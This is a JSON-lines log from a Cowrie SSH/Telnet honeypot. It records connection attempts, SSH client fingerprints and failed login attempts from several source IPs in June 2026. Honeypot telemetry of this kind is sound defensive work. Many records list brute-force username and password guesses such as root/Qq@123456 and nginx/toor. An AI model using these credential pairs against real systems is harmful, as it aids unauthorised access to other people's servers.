{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:52.237299Z","src_ip":"168.167.228.74","session":"6e1160415660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.7","message":"Connection lost after 26.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:52.285838Z","src_ip":"91.92.42.227","session":"c6438f940bd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq@123456","message":"login attempt [root/Qq@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:53.307306Z","src_ip":"168.167.228.74","session":"6e1160415660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.281797885894775,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:53.808230Z","src_ip":"102.37.220.188","session":"44e0157f6797","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:53.845025Z","src_ip":"91.92.42.227","session":"98e20503a7a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:54.566423Z","src_ip":"168.167.228.74","session":"6e1160415660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49264,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b3fb241b003","protocol":"ssh","message":"New connection: 91.92.42.227:49264 (10.17.0.5:22) [session: 5b3fb241b003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:56.952745Z"}
{"eventid":"cowrie.session.closed","duration":"25.8","message":"Connection lost after 25.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:57.907834Z","src_ip":"91.92.42.227","session":"98e20503a7a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa111111.","message":"login attempt [root/Aa111111.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:58.607967Z","src_ip":"91.92.42.227","session":"e78ab3475f1e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:59.699506Z","src_ip":"91.92.42.227","session":"5b3fb241b003","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:20:59.702575Z","src_ip":"91.92.42.227","session":"5b3fb241b003","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.5","message":"Connection lost after 23.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:02.119302Z","src_ip":"91.92.42.227","session":"e78ab3475f1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"passw0rd","message":"login attempt [user/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:03.373619Z","src_ip":"91.92.42.227","session":"123bbc42b98f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58540,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8b11c891f2b","protocol":"ssh","message":"New connection: 91.92.42.227:58540 (10.17.0.5:22) [session: b8b11c891f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:04.875913Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":57486,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9e26c3f9c93","protocol":"ssh","message":"New connection: 80.94.92.184:57486 (159.203.135.109:22) [session: d9e26c3f9c93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:05.934255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:07.017915Z","src_ip":"80.94.92.184","session":"d9e26c3f9c93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:07.024252Z","src_ip":"80.94.92.184","session":"d9e26c3f9c93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.3","message":"Connection lost after 22.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:08.144268Z","src_ip":"91.92.42.227","session":"123bbc42b98f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:08.468927Z","src_ip":"91.92.42.227","session":"b8b11c891f2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:08.472415Z","src_ip":"91.92.42.227","session":"b8b11c891f2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:09.359634Z","src_ip":"80.94.92.184","session":"d9e26c3f9c93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:10.658716Z","src_ip":"80.94.92.184","session":"d9e26c3f9c93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:11.021520Z","src_ip":"91.92.42.227","session":"5b3fb241b003","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":58588,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4d84ad05b2c","protocol":"ssh","message":"New connection: 91.92.42.227:58588 (10.17.0.5:22) [session: f4d84ad05b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:12.705485Z"}
{"eventid":"cowrie.session.closed","duration":"17.3","message":"Connection lost after 17.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:14.251805Z","src_ip":"91.92.42.227","session":"5b3fb241b003","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37586,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff11dc385ac2","protocol":"telnet","message":"New connection: 172.81.62.90:37586 (159.203.135.109:23) [session: ff11dc385ac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:14.724345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:14.936548Z","src_ip":"91.92.42.227","session":"f4d84ad05b2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:14.939591Z","src_ip":"91.92.42.227","session":"f4d84ad05b2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.732633113861084,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:16.738079Z","src_ip":"103.249.87.183","session":"35eaff6bacb9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:18.098847Z","src_ip":"91.92.42.227","session":"b8b11c891f2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41140,"dst_ip":"10.17.0.5","dst_port":22,"session":"64dca16e589e","protocol":"ssh","message":"New connection: 91.92.42.227:41140 (10.17.0.5:22) [session: 64dca16e589e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:18.853071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:22.578920Z","src_ip":"91.92.42.227","session":"64dca16e589e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:22.581351Z","src_ip":"91.92.42.227","session":"64dca16e589e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.1","message":"Connection lost after 18.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:22.950890Z","src_ip":"91.92.42.227","session":"b8b11c891f2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49206,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a230a9b9859","protocol":"ssh","message":"New connection: 91.92.42.227:49206 (10.17.0.5:22) [session: 6a230a9b9859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:25.837392Z"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"toor","message":"login attempt [nginx/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:27.385005Z","src_ip":"91.92.42.227","session":"f4d84ad05b2c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:28.750178Z","src_ip":"91.92.42.227","session":"6a230a9b9859","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:28.753237Z","src_ip":"91.92.42.227","session":"6a230a9b9859","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.9","message":"Connection lost after 18.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:31.568724Z","src_ip":"91.92.42.227","session":"f4d84ad05b2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49244,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ca0a2797c85","protocol":"ssh","message":"New connection: 91.92.42.227:49244 (10.17.0.5:22) [session: 1ca0a2797c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:32.860178Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"rootroot","message":"login attempt [deploy/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:36.002697Z","src_ip":"91.92.42.227","session":"64dca16e589e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:36.617609Z","src_ip":"91.92.42.227","session":"1ca0a2797c85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:36.638126Z","src_ip":"91.92.42.227","session":"1ca0a2797c85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":38226,"dst_ip":"10.17.0.5","dst_port":22,"session":"27c9be5b5862","protocol":"ssh","message":"New connection: 46.19.67.181:38226 (10.17.0.5:22) [session: 27c9be5b5862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:38.727789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:21:38.734054Z","src_ip":"46.19.67.181","session":"27c9be5b5862","protocol":"ssh"}
